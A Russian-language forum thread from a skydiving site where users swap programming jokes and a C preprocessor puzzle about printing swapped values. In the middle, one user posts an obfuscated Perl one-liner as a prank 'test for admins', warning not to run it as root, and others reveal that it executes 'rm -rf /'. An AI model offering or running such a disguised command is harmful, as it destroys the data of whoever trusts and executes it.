Перейти к содержимому
Форумы SkyCentre Прыжки с парашютом
Igor

Программное западло - прораммисты трут здесь

Recommended Posts

  Alexander Bubentsov писал:

Вообще-то картинка иллюстрирует классические проблемы не айтишников.

А мой наводящий вопрос вроде как оказался более-менее удачным.

Поделиться сообщением


Ссылка на сообщение
Поделиться на других сайтах
  kastorskiy писал:
Вообще-то картинка иллюстрирует классические проблемы не айтишников.

cmd> set umnik_mode on

А давайте не будем перетирать о роли аналитиков и за то что надо продавать решение проблемы, а не сферическое ПО с набором костылей.

cmd> set umnik_mode off

Поделиться сообщением


Ссылка на сообщение
Поделиться на других сайтах

Все радости и проблемы - они от людей, поэтому предлагать какие-то решения прежде, чем стало понятно о чем глючит к тебе пришедший - не менее забавно, чем тот бред, который он тебе выгружает.

Наводящий вопрос камрада kastorskiy изменил мою реальность и, благодаря этому, реальность еще большого количества людей, которые будут пользоваться плодами развития этой ветки реальности :))

Поделиться сообщением


Ссылка на сообщение
Поделиться на других сайтах
  Alexander Bubentsov писал:
сферическое ПО с набором костылей.

Почему ты написал это так, как будто бы в этом есть что-то плохое?

Поделиться сообщением


Ссылка на сообщение
Поделиться на других сайтах

На самом деле очень круто, что все откликнулись и помогли!

Большое спасибо :)

Поделиться сообщением


Ссылка на сообщение
Поделиться на других сайтах
  Twilight_Sun писал:
Почему ты написал это так, как будто бы в этом есть что-то плохое?

Потому что посмотри на правый нижний фрагмент (то что было нужно заказчику) того баяна, ссылку на который я дал выше.

Поделиться сообщением


Ссылка на сообщение
Поделиться на других сайтах
  Alexander Bubentsov писал:
Потому что посмотри на правый нижний фрагмент (то что было нужно заказчику) того баяна, ссылку на который я дал выше.

Ну так то заказчик.

А у нас "вопрос программистам" вроде как программер задавал.

Устроили блин цирк.

1323467035_veb-komiksy-chto-gde-kogda.jp

Поделиться сообщением


Ссылка на сообщение
Поделиться на других сайтах
  Цитата
программер задавал

:) я не программер, я юзер среднего уровня :)

Поделиться сообщением


Ссылка на сообщение
Поделиться на других сайтах
  Alexander Bubentsov писал:
Потому что посмотри на правый нижний фрагмент (то что было нужно заказчику) того баяна, ссылку на который я дал выше.

а другому заказчику может и такое нужно. не? ;) инсталляция в стиле хрензнаетчто все дела.

Поделиться сообщением


Ссылка на сообщение
Поделиться на других сайтах

а программа из одной строчки на Perl тут уже была?

Поделиться сообщением


Ссылка на сообщение
Поделиться на других сайтах
  Igor писал:
Это, слуачем, не та с шифрованием как тест на админов идиотов? :)

она :)

cat "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'

не запускать под рутом!

Поделиться сообщением


Ссылка на сообщение
Поделиться на других сайтах
  Igor писал:
А вот это ты зря сказал :mosking:

ну я в отличие от автора оригинального пранка добрый :)

Поделиться сообщением


Ссылка на сообщение
Поделиться на других сайтах
  Цитата
cat "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'

rm -rf /

Поделиться сообщением


Ссылка на сообщение
Поделиться на других сайтах
  sergant писал:
rm -rf /

да, старая фишка. Помнится на linux.org.ru народ ломанулся тестировать нерабочий скрипт ... :)

Поделиться сообщением


Ссылка на сообщение
Поделиться на других сайтах
  Цитата
Если это возможно, привести решение.

#include <stdio.h>

main() {

int a = 2, b = 4;

printf("%d, %d\n", a, b);

#define a 4

printf("%d, %d\n", a, b);

}

Поделиться сообщением


Ссылка на сообщение
Поделиться на других сайтах

ты решил неправильно.

a=2, a не val.a=2 :)

хотя твое решение показывает более глубокое знание языка.

странный вопрос однако...

Человек только начавший изучать C ответит сходу, а я (много лет опыта) задумался по-началу...

Поделиться сообщением


Ссылка на сообщение
Поделиться на других сайтах

"Зануда" © :)

а как будешь делать "a == b"?

или равенство тоже модифицировать можно?

Поделиться сообщением


Ссылка на сообщение
Поделиться на других сайтах
  stiner_rd писал:
да, старая фишка. Помнится на linux.org.ru народ ломанулся тестировать нерабочий скрипт ... :)

угу, там используется элементарный 'tr' (тест на знание /bin/sh) + "куча" отвлекаючего кода

Поделиться сообщением


Ссылка на сообщение
Поделиться на других сайтах
  Цитата
Конечно можно. Подпадает под вышеприведенное правило

aa = 2; // разрешено?

aaa = 4; // разрешено?

aaaa = 6; // разрешено?

ab = 4; // разрешено?

aab = 4; // разрешено?

aaaab = 4; // разрешено?

Если выше перечисленное разрешено, но только один раз, то ты модифицируешь условия (да, я тоже зануда)

if( aa == ab)

if( aaa == aab)

if( aaaa == aaab)

Поделиться сообщением


Ссылка на сообщение
Поделиться на других сайтах

т.е.

a = 2
b = 4

запрешен? :)

Поделиться сообщением


Ссылка на сообщение
Поделиться на других сайтах

#define a b

Поделиться сообщением


Ссылка на сообщение
Поделиться на других сайтах
  соло писал:
#define a b

O!

Поделиться сообщением


Ссылка на сообщение
Поделиться на других сайтах

Igor,

  Цитата
Ок. Специально для зануд Все операторы присваивания, кроме заданных исходно, запрещены

Ok. Покажи НЕ модифицированные операторы (точнее строки) в своем коде :)

PS. ты реально считаешь, что автор задачи подразумевал union вместо define?

Поделиться сообщением


Ссылка на сообщение
Поделиться на других сайтах

Igor, я догадываюсь, что мое (и тем более Витино) решение верно.

Я пытаюсь оспорить ТВОЕ решение,

но у меня прыжков значительно меньше :)

PS. BigBug изъебнулся таки первым :)

Поделиться сообщением


Ссылка на сообщение
Поделиться на других сайтах

Создайте аккаунт или войдите для комментирования

Вы должны быть пользователем, чтобы оставить комментарий

Создать аккаунт

Зарегистрируйтесь для получения аккаунта. Это просто!

Зарегистрировать аккаунт

Войти

Уже зарегистрированы? Войдите здесь.

Войти сейчас

×
×
  • Создать...